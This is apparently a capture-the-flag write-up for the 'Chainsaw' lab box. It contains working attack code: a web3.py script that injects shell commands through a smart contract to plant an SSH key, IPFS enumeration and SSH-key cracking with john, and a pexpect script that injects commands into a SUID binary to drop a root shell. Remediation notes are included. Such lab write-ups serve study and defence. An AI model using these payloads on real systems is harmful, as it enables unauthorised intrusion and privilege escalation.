Chainsaw
Summary
Nmap full TCP scan revealed FTP (21), SSH (22), an Ethereum JSON-RPC node (custom port 9810), and a local IPFS node. Anonymous FTP exposed three files: WeaponizedPing.sol (Solidity source), WeaponizedPing.json (compiled ABI), and address.txt (deployed contract address 0x521Da6E91754aBa8A916cC70266Cba9B59EeA5c3). The contract's setDomain(string) function stores an unsanitized string that the backend later passes to a ping system call — classic OS command injection via a smart-contract-backed web service. Using web3.py (v7.16.0) against the JSON-RPC endpoint (http://<retired-instance-ip>:9810/), a crafted transaction invoked setDomain() with a payload injecting arbitrary shell commands, executed as user administrator — giving RCE/foothold (tier 6, step 26).
From the administrator shell (reached via an SSH key pushed through the same contract-injection RCE), IPFS objects pinned locally were enumerated (ipfs refs local) and dumped via ipfs cat. One object was an email containing an encrypted RSA private key (bobby.key.enc) belonging to bobby, passphrase-protected. The passphrase (jackychain) was recovered/known and used to decrypt the key with ssh-keygen -p, yielding SSH access as bobby — user.txt captured (tier 8, lateral movement, step 68).
Enumerating bobby's home directory revealed a SUID root binary (/home/bobby/projects/ChainsawClub/ChainsawClub) that talks to a second, localhost-only Ethereum node (Ganache TestRPC, port 63991, tunneled via SSH local-forward). Its contract ChainsawClub.sol exposed getUsername()/getPassword()/etc. and — mirroring the foothold vuln — the SUID binary's interactive prompt passed user-supplied input into another unsanitized system call against this contract, executed as root because the binary was SUID root. Driving the interactive binary with pexpect achieved command injection as root, dropping a /tmp/rootbash SUID shell. Root.txt was retrieved via debugfs/raw dd disk read as an alternate path once root shell access was confirmed (tier 9, privilege escalation, step 76).
Products/techniques: Solidity/Ethereum smart-contract command injection (custom WeaponizedPing and ChainsawClub contracts, solc ^0.4.x, EthereumJS TestRPC/Ganache 2.3.1), IPFS as covert credential storage, encrypted-RSA-key cracking via known passphrase, SUID-binary-mediated local contract command injection for privesc.
Attack path — how the box was taken
Exact commands 2
nmap -Pn -p- --min-rate 3000 -T4 $TARGETcurl -s -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}' http://$TARGET:9810/Exact commands 3
wget -m ftp://anonymous:anonymous@$TARGET/cat WeaponizedPing.solcat address.txtFixDisable anonymous FTP and remove contract deployment artifacts from network-accessible storageCritical
Exact commands 4
ssh-keygen -t ed25519 -f ./id_attack -N ''python3 -m venv venv && . venv/bin/activate && pip install 'web3==7.16.0'python3 - <<'PYEOF'
from web3 import Web3
import json
w3 = Web3(Web3.HTTPProvider('http://$TARGET:9810/'))
abi = json.load(open('WeaponizedPing.json'))['abi']
addr = open('address.txt').read().strip()
contract = w3.eth.contract(address=addr, abi=abi)
account = w3.eth.accounts[0]
pubkey = open('./id_attack.pub').read().strip()
payload = f'; mkdir -p /home/administrator/.ssh && echo "{pubkey}" >> /home/administrator/.ssh/authorized_keys ;'
tx = contract.functions.setDomain(payload).transact({'from': account})
w3.eth.wait_for_transaction_receipt(tx)
print('Delivered:', tx.hex())
PYEOFssh -i ./id_attack -o StrictHostKeyChecking=no administrator@$TARGETFixEliminate OS command injection in the WeaponizedPing smart-contract back-end serviceCritical
Exact commands 3
ipfs refs localfor h in $(ipfs refs local); do echo "=== $h ==="; ipfs cat "$h"; echo; done 2>/dev/nullipfs cat <hash> > bobby.key.encFixRemove sensitive key material from IPFS and enforce strong passphrases for all SSH keysHigh
Exact commands 4
cp bobby.key.enc bobby_id_rsa && chmod 600 bobby_id_rsassh2john bobby_id_rsa > bobby.hash && john bobby.hash --wordlist=/usr/share/wordlists/rockyou.txtssh-keygen -p -P 'jackychain' -N '' -f bobby_id_rsassh -i bobby_id_rsa -o StrictHostKeyChecking=no bobby@$TARGET 'id; cat /home/bobby/user.txt'FixRemove sensitive key material from IPFS and enforce strong passphrases for all SSH keysHigh
Exact commands 3
find / -perm -4000 -type f 2>/dev/nullscp -i bobby_id_rsa bobby@$TARGET:/home/bobby/projects/ChainsawClub/ChainsawClub.sol ./ssh -i bobby_id_rsa bobby@$TARGET 'ss -tlnp | grep 63991'FixRemove the SUID bit from ChainsawClub and eliminate the local contract command injectionCritical
Exact commands 4
ssh -f -N -L 63991:localhost:63991 -i bobby_id_rsa bobby@$TARGETpython3 - <<'PYEOF'
import pexpect
child = pexpect.spawn('/home/bobby/projects/ChainsawClub/ChainsawClub', timeout=30)
child.expect('Username:')
child.sendline('; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; #')
child.expect('Password:[REDACTED: credential]x')
child.expect(pexpect.EOF, timeout=10)
PYEOF/tmp/rootbash -pcat /root/root.txtFixRemove the SUID bit from ChainsawClub and eliminate the local contract command injectionCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 21/tcp | ftp |
| 22/tcp | ssh |
| 9810/tcp | unknown |